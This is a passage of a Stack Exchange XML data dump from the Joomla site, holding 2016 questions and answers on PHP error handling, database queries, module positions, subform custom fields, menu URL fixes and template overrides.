OwnerUserId="8872" LastActivityDate="2016-11-21T11:09:29.180" Title="PHP error reporting" Tags="|joomla-3.x|error-handling|error-reporting|fatal-error|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18372" PostTypeId="2" ParentId="18370" CreationDate="2016-11-15T16:11:24.927" Score="1" Body="&lt;p&gt;I finally got it by accessing the database correctly. Here is the code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//get metakey by id&#xA;$db = JFactory::getDbo();&#xA;$id = $item-&amp;gt;id;&#xA;$db-&amp;gt;setQuery(&quot;SELECT metakey FROM #__content WHERE id='$id'&quot;);&#xA;$metakey = $db-&amp;gt;loadResult();&#xA;echo $metakey;&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9066" LastActivityDate="2016-11-15T16:11:24.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18374" PostTypeId="2" ParentId="18312" CreationDate="2016-11-15T19:21:03.183" Score="2" Body="&lt;p&gt;You might want to try digital peaks' dpfields. This is the extension where the 3.7 custom fields are based on. It will probably be possible to migrate from dpfields to j3.7! core custom fields.&#xA;&lt;a href=&quot;https://joomla.digital-peak.com/products/dpfields&quot; rel=&quot;nofollow&quot;&gt;https://joomla.digital-peak.com/products/dpfields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2016-11-15T19:21:03.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18375" PostTypeId="2" ParentId="18370" CreationDate="2016-11-15T19:29:00.383" Score="0" Body="&lt;p&gt;Well, I would look for the possibility of overriding the articles model to add in the query the metakey column and then call &lt;code&gt;$item-&amp;gt;metakey&lt;/code&gt; in the articles view template, instead of generating db queries for each of the loaded articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, because this is a sligth modification, I could even consider to simply do it directly on the core model file and have to maintain this with every update - although not the recommended practice, I might be willing to pay the tribute for this.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-11-15T19:29:00.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18376" PostTypeId="2" ParentId="18371" CreationDate="2016-11-15T20:53:46.297" Score="5" Body="&lt;p&gt;You'll want to create a custom PHP error handler and have that send you an email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;strong&gt;FILE&lt;/strong&gt; and &lt;strong&gt;FUNCTION&lt;/strong&gt; and &lt;strong&gt;LINE&lt;/strong&gt; constants to load where the error happened into the email that you alert yourself with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at how to do all of that here: &lt;a href=&quot;https://stackoverflow.com/questions/277224/how-do-i-catch-a-php-fatal-error&quot;&gt;https://stackoverflow.com/questions/277224/how-do-i-catch-a-php-fatal-error&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3570" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-11-15T20:53:46.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18377" PostTypeId="1" AcceptedAnswerId="18505" CreationDate="2016-11-16T00:49:45.133" Score="3" ViewCount="58" Body="&lt;p&gt;I use jLogger a great deal, but get tired of constantly opening an editor, finding the file, etc. etc.. Is there a way I should be looking at these files, or is there a tool that I'm not aware of?  It seems there is a lot of work behind the classes involved, and not much there to use the output.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2016-11-29T17:20:11.933" Title="Are there any tools or components for jLogger?" Tags="|logs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18380" PostTypeId="2" ParentId="18077" CreationDate="2016-11-16T07:55:02.353" Score="0" Body="&lt;p&gt;First, check your browser dev tools. Most good templates will output the current view as a class to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element which will confirm that you are looking at the correct view, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kwI1j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kwI1j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, disable SEF URLs in the site settings and the full path will be present in the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are indeed seeing the correct view, i.e. from your template override, but not seeing your changes appear then you may be looking at cache. Disable caching in J! Admin and clear the cache then hard reload your browser.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2016-11-16T07:55:02.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18381" PostTypeId="1" CreationDate="2016-11-16T08:27:48.330" Score="3" ViewCount="822" Body="&lt;p&gt;I've got trouble with my contact form.&#xA;It seems that &lt;strong&gt;com_contact&lt;/strong&gt; is using its own &lt;code&gt;renderfield.php&lt;/code&gt; that can be found in &lt;code&gt;components/com_contact/layouts/joomla/form&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why its own &lt;code&gt;renderfield.php&lt;/code&gt; and not its own &lt;code&gt;renderlabel.php&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;How do I override &lt;code&gt;renderfield.php&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9300" LastEditorUserId="12352" LastEditDate="2018-12-12T07:25:47.303" LastActivityDate="2018-12-12T07:25:47.303" Title="Overriding renderfield.php in contact form" Tags="|joomla-3.x|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18382" PostTypeId="1" AcceptedAnswerId="18438" CreationDate="2016-11-16T08:39:06.557" Score="1" ViewCount="483" Body="&lt;p&gt;I would like to know when installing a component over an existing one, if it's possible to add a new column if it doesn't exist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For e.g. inside install.mysql.utf8.sql, I shall have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IF NOT EXISTS(&#xA;    SELECT * FROM information_schema.COLUMNS&#xA;    WHERE COLUMN_NAME='new_column' AND TABLE_NAME='#__my_table' AND TABLE_SCHEMA='my_schema'&#xA;    )&#xA;    THEN&#xA;        ALTER TABLE `#__my_table`&#xA;        ADD COLUMN `new_column` VARCHAR (30) NOT NULL COLLATE utf8_general_ci;&#xA;END IF; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As being shown above, the problem is that how will we get the TABLE_SCHEMA instead of defining &lt;code&gt;my_schema&lt;/code&gt; explicitly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any better alternative?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NOTE: The reason we can't use updates to add a new column is that we&#xA;  have many websites created using the same custom-components but with&#xA;  different additional columns which have already been added manually to&#xA;  the individual tables and are not included in the first version.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5694" LastEditorUserId="5694" LastEditDate="2016-11-17T03:33:56.670" LastActivityDate="2016-11-21T23:18:06.797" Title="How to add column if not exists when installing a component?" Tags="|component|mysql|custom-component|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18383" PostTypeId="1" AcceptedAnswerId="18392" CreationDate="2016-11-16T13:46:20.770" Score="1" ViewCount="1062" Body="&lt;p&gt;I have created a Joomla module that renders a set of headlines in a widget, with links to the main item. It loads these headlines from either a Joomla category or an RSS feed, and is extensible so I could add further data sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the config XML, I've got a &lt;code&gt;select&lt;/code&gt; field to pick the data source, and subsequent fields that use &lt;code&gt;showon&lt;/code&gt; to enable one or more of them depending on which source is picked. This works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to move the code for the data sources into separate plugins, to make it more easily extensible. But I'm running into a stumbling block over how to show fields from these plugins in the module config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see how to create a &lt;a href=&quot;https://docs.joomla.org/Plugins_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;plugin&lt;/code&gt; field&lt;/a&gt; in the module which will allow me to offer a list of the relevant plugins, but I also need to be able to pull in config fields from the selected plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could just have the config for the plugins in the plugins themselves, but I would prefer to have it at the module level because you might want more than one widget on your site with different config but using the same plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently looking at either creating a &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom field type&lt;/a&gt;, as per &lt;a href=&quot;https://stackoverflow.com/questions/14197236/how-to-create-a-custom-form-field-type-in-a-module&quot;&gt;this question on SO&lt;/a&gt; or to use a &lt;code&gt;subform&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as far as I can see, this only allows me to create a single field; what I need is to create an arbitrary number of fields, and also to link them back to the plugin list field so they can be shown or hidden as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me some advice on how to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5618" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-11-17T17:20:47.623" Title="Dynamic fields in module parameters" Tags="|module|plugin|form-fields-types|custom-field|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18385" PostTypeId="1" AcceptedAnswerId="18387" CreationDate="2016-11-16T18:51:22.930" Score="1" ViewCount="50" Body="&lt;p&gt;When I create a module I can select its position between many possibilities. Is there a way to preview all these positions in the page in order to know the place where the module will be?&lt;/p&gt;&#xA;" OwnerUserId="9211" LastActivityDate="2016-11-16T20:43:11.373" Title="Show preview of positions" Tags="|joomla-3.x|positions|" AnswerCount="2" CommentCount="0" ClosedDate="2016-11-18T06:14:34.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="18386" PostTypeId="2" ParentId="18385" CreationDate="2016-11-16T20:39:56.670" Score="2" Body="&lt;p&gt;I've found a solution by myself.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Extension-&gt;Templates&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;strong&gt;Options&lt;/strong&gt; button (top-right page corner)&lt;/li&gt;&#xA;&lt;li&gt;Enable the option &lt;strong&gt;Enable Module Positions&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save changes&lt;/li&gt;&#xA;&lt;li&gt;Go again to &lt;strong&gt;Extension-&gt;Templates&lt;/strong&gt; and select &lt;strong&gt;Templates&lt;/strong&gt; on the left menu&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;strong&gt;Preview&lt;/strong&gt; link for the desired template&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The page appears with all position shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to append &lt;strong&gt;&amp;amp;tp=1&lt;/strong&gt; (or &lt;strong&gt;&amp;amp;tp=1&lt;/strong&gt; if in the link there are other parameters) to the page for which you want to see positions. Also in this case the &lt;strong&gt;Enable Module Positions&lt;/strong&gt; must be enabled.&lt;/p&gt;&#xA;" OwnerUserId="9211" LastActivityDate="2016-11-16T20:39:56.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18387" PostTypeId="2" ParentId="18385" CreationDate="2016-11-16T20:43:11.373" Score="3" Body="&lt;p&gt;You can see them from adminitration doing this steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the top menu, click Extensions and then click Template Manager&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the tabs at the top of the page, click the Options tab&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under the Templates tab, find the following setting:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Enable: Preview Module Positions&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Once again, in the top menu, click Extensions and then click Template Manager&#xA;Now that we have the Preview Module Positions setting enabled, you will see a preview icon next to your Site Templates. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the preview icon next to the template you would like to view.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this help you&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-11-16T20:43:11.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18389" PostTypeId="1" AcceptedAnswerId="18390" CreationDate="2016-11-17T09:40:56.973" Score="3" ViewCount="112" Body="&lt;p&gt;After the joomla update the menu item seems to be broken. In every url I see &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;websitename.com/Clients/menualias&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;rather than&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;websitename.com/menualias&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, I resolved the issue by clicking the &lt;strong&gt;Rebuild&lt;/strong&gt; button on menu manager. After which, every menu item works correctly. But now my problem is that when I create new menu item, it gives the same error of adding &lt;code&gt;clients&lt;/code&gt; to the url. Then again I have to rebuild and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if a menu item &lt;code&gt;alias is user-profile&lt;/code&gt; then Joomla system stores the alias correctly in database but the &lt;code&gt;path is stored as Clients/user-profile&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way by which the menu url can be fixed for the new items as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Version: 3.6.4&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-11-17T11:19:19.013" LastActivityDate="2016-11-17T13:11:09.883" Title="Menu item adding 'Clients/' to url" Tags="|menu-item|url|update|joomla-3.6|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18390" PostTypeId="2" ParentId="18389" CreationDate="2016-11-17T13:05:29.513" Score="3" Body="&lt;p&gt;I had the same issue with the menu then I found this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=615&amp;amp;t=772029&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=615&amp;amp;t=772029&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was helpful but not the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I checked my &lt;strong&gt;#__menu&lt;/strong&gt; table and there I found &lt;strong&gt;com_banners_clients&lt;/strong&gt; and this was creating the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply deleted that row and it worked for me.&#xA;You can check its level and if you will fix the levels then the issue will be resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : deleting this row may effect only one thing that you will not be able to see sub menu in Banner component at admin side.  &lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditDate="2016-11-17T13:11:09.883" LastActivityDate="2016-11-17T13:11:09.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18391" PostTypeId="1" AcceptedAnswerId="18402" CreationDate="2016-11-17T15:31:30.373" Score="4" ViewCount="231" Body="&lt;p&gt;I'm not much of a front-end guy, and many areas of the &quot;magically created&quot; code remains a mystery to me as it just &quot;happens&quot; and I'm satisfied with it, so this is likely going to be one of the &quot;duh&quot; moments for me.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I find two very different ways to create the HTML of the Front-End list view Search Tools.  I don't understand where the fork in the road is that the two generate different output within &lt;code&gt;&amp;lt;div class=&quot;js-stools-container-filters&quot;&amp;gt;...&amp;lt;/div&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;form.xml&lt;/code&gt; is virtually identical, and n both cases, &lt;code&gt;view.html.php&lt;/code&gt; essentially begins as show below, yet &lt;code&gt;display($tpl)&lt;/code&gt; renders different HTML. I've tried using different site templates, compared common files between the two, and am at a loss as to where to look next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What code, or at least what factors, determine this difference in output to achieve the use of &lt;em&gt;control-group/control-label&lt;/em&gt; classes in the Search Tools?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ExampleViewXyzs extends JViewLegacy&#xA;{&#xA;    ...&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        $this-&amp;gt;items         = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;state         = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;pagination    = $this-&amp;gt;get('Pagination');&#xA;        $this-&amp;gt;user          = JFactory::getUser();&#xA;        $this-&amp;gt;filterForm    = $this-&amp;gt;get('FilterForm');&#xA;        $this-&amp;gt;activeFilters = $this-&amp;gt;get('ActiveFilters');&#xA;        ...&#xA;        parent::display($tpl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Desired&lt;/em&gt; generated HTML looks like this (Use of control-group/control-label classes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;        &amp;lt;label id=&quot;filter_meeting_year-lbl&quot; for=&quot;filter_meeting_year&quot; class=&quot;&quot;&amp;gt;Meeting Year&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;select id=&quot;filter_meeting_year&quot; name=&quot;filter[meeting_year]&quot; class=&quot;inputbox chzn-done&quot; onchange=&quot;this.form.submit()&quot;&#xA;            &amp;lt;option&amp;gt; ................&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The current, and &lt;em&gt;UNdesired&lt;/em&gt; generated HTML looks like this (&lt;strong&gt;NO&lt;/strong&gt; use of control-group/control-label classes). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;filter_source&quot; name=&quot;filter[source]&quot; class=&quot;inputbox chzn-done&quot; onchange=&quot;this.form.submit();&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;        &amp;lt;option&amp;gt; ................&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;div class=&quot;chzn-container chzn-container-single&quot; style=&quot;width: 220px;&quot; title=&quot;&quot; id=&quot;filter_source_chzn&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;chzn-single chzn-default&quot; tabindex=&quot;-1&quot;&amp;gt;&amp;lt;span&amp;gt;Select an option&amp;lt;/span&amp;gt;&amp;lt;div&amp;gt;&amp;lt;b&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;chzn-drop&quot;&amp;gt;&amp;lt;div class=&quot;chzn-search&quot;&amp;gt;&#xA;            &amp;lt;input autocomplete=&quot;off&quot; class=&quot;active&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;ul class=&quot;chzn-results&quot;&amp;gt;&#xA;            &amp;lt;li class=&quot;active-result&quot; data-option-array-index=&quot;0&quot;&amp;gt;- Select Something -&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;active-result&quot; data-option-array-index=&quot;2&quot;&amp;gt;An Option&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, on a related note, with the use of the control-group class, the Search Tools remain open when the page is resubmitted, while the other does not.  I'm assuming/hoping that is resolved with the answer to my question.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2016-11-17T15:41:50.440" LastActivityDate="2016-11-18T17:55:28.643" Title="What dictates the HTML that is generated for Front-End Search Tools?" Tags="|development|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18392" PostTypeId="2" ParentId="18383" CreationDate="2016-11-17T17:20:47.623" Score="3" Body="&lt;p&gt;No answers here, but I have managed to work it out for myself. The answer is actually to use both of the solutions I had in mind already -- a custom field type and a &lt;code&gt;subform&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution works like this: I have created a custom field type that overrides the &lt;code&gt;subform&lt;/code&gt; field type, specifically overriding the &lt;code&gt;formsource&lt;/code&gt; behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard &lt;code&gt;subform&lt;/code&gt; field type takes a &lt;code&gt;formsource&lt;/code&gt; attribute, which contains the path to another XML file with the form definition that you want to include.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My class overrides this, and instead of loading an external XML file, it generates one for itself by triggering an event, and reading the data returned to it by the plugins. Each plugin responds with its own list of config parameters which are then combined into a form XML string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.form.helper');&#xA;JFormHelper::loadFieldClass('subform');&#xA;&#xA;class JFormFieldFieldsFromPlugins extends JFormFieldSubform {&#xA;    protected $type = 'FieldsFromPlugins';&#xA;&#xA;    public function getInput() {&#xA;        //override $this-&amp;gt;formsource that the main Subform class uses.&#xA;        $this-&amp;gt;formsource = $this-&amp;gt;buildSubformFromPlugins();&#xA;        return parent::getInput();&#xA;    }&#xA;&#xA;    private function buildSubformFromPlugins()&#xA;    {&#xA;        JPluginHelper::importPlugin('myPluginType');&#xA;        $dispatcher = JEventDispatcher::getInstance();&#xA;        $results = $dispatcher-&amp;gt;trigger('onGetPluginFields', []);&#xA;        // .... now build XML string from $results ....&#xA;        return $xml;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it in a nutshell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there were a few other things the caught me out here that are worth mentioning, for completeness.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The fields in the subform are handled independently of fields in the main form. I wanted to have a main field that offered a select list of plugins, and for only the relevant plugin fields to be shown. This is done using a &lt;code&gt;showon&lt;/code&gt; attribute in the XML. However &lt;code&gt;showon&lt;/code&gt; doesn't work between the subform and the main form. The work-around for this was to move the select list into the subform. This isn't ideal as it means there's now a block of XML in my PHP code that would be better in the module's XML file, but it does at least work this way.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The default layout for a subform has all of the fields indented by a couple of hundred pixels. I didn't want this, but it took quite a bit of effort to get rid of it. In theory, you can override the layout by writing a &lt;code&gt;getLayoutPaths()&lt;/code&gt; method in the class, but that doesn't work well for subforms because the override layout path is inherited by all the sub-fields as well. I worked around this by loading the default paths as well as the override path into my &lt;code&gt;getLayoutPaths()&lt;/code&gt; method. This works, although it does feel like a bit of a fudge. I'm considering offering a patch for Joomla to avoid some of the ugliness here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This has been a good learning experience for me. I'm glad I had a bit of free time to experiment with it though, because it wasn't obvious and not well documented. I hope some of this write-up is useful to anyone else trying to do something similar.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2016-11-17T17:20:47.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18393" PostTypeId="1" AcceptedAnswerId="18395" CreationDate="2016-11-17T20:34:11.947" Score="2" ViewCount="535" Body="&lt;p&gt;Sometime I have some idea for my site and I want to write it somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to find a way to write these notes, save and read them inside Joomla, but only in the backend; I don't want to show them in the site because are personal notes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to take notes in the Joomla backend?&lt;/p&gt;&#xA;" OwnerUserId="9211" LastActivityDate="2016-11-17T23:12:32.467" Title="Take notes in backend" Tags="|joomla-3.x|administrator|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18394" PostTypeId="2" ParentId="18393" CreationDate="2016-11-17T21:44:33.550" Score="2" Body="&lt;p&gt;Create a new Access Level (Users -&gt; Access Levels). Add only Super Admin to the new Access Level. Then set anything associated with your notes (Articles, Categories, etc.) to that Access Level.&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-11-17T21:44:33.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18395" PostTypeId="2" ParentId="18393" CreationDate="2016-11-17T23:12:32.467" Score="3" Body="&lt;p&gt;To create a notes module in the back-end of the website, go to: Extensions -&gt; Modules, set the filter to Administrator, click on &quot;New&quot;, select &quot;Custom&quot; and create the new Custom module as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Title: Website Administration Notes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Show Title: Show&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Position: cpanel&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Status: Published&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Access: Special&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;with the following HTML or similar content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;border: 1px solid #bce8f1; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; background: #d9edf7 none repeat scroll 0 0; color: #31708f; padding: 5px 10px 5px; margin: -5px 0 15px;&quot;&amp;gt;&#xA;    &amp;lt;p style=&quot;margin: 5px 0;&quot;&amp;gt;To edit these notes, go to: Extensions -&amp;amp;gt; Modules, set filter to Administrator and click on &quot;Website Administration Notes&quot;.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;h3&amp;gt;To Do List&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;1.&amp;lt;br /&amp;gt;2.&amp;lt;br /&amp;gt;3.&amp;lt;/p&amp;gt;&#xA;&amp;lt;div style=&quot;border-top: 1px solid #ddd;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;h3&amp;gt;Most Recent Changes&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;1.&amp;lt;br /&amp;gt;2.&amp;lt;br /&amp;gt;3.&amp;lt;/p&amp;gt;&#xA;&amp;lt;div style=&quot;border-top: 1px solid #ddd;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following will then be displayed in the back end of the website each time you log in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7YWci.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7YWci.png&quot; alt=&quot;Back End Notes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-11-17T23:12:32.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18396" PostTypeId="1" AcceptedAnswerId="18409" CreationDate="2016-11-18T00:47:19.510" Score="4" ViewCount="965" Body="&lt;p&gt;For example, we have a module called &lt;strong&gt;MOD_PR_SLIDER&lt;/strong&gt;. Which has this file: &lt;em&gt;public_html/modules/mod_pr_slider/mod_pr_service.xml&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already copied that file in: &lt;em&gt;public_html/templates/my_template/html/mod_pr_slider/mod_pr_service.xml&lt;/em&gt; But it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I override it?&lt;/p&gt;&#xA;" OwnerUserId="8699" LastActivityDate="2023-03-29T16:20:20.777" Title="How do I override a Joomla XML?" Tags="|joomla-3.x|template-override|xml|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
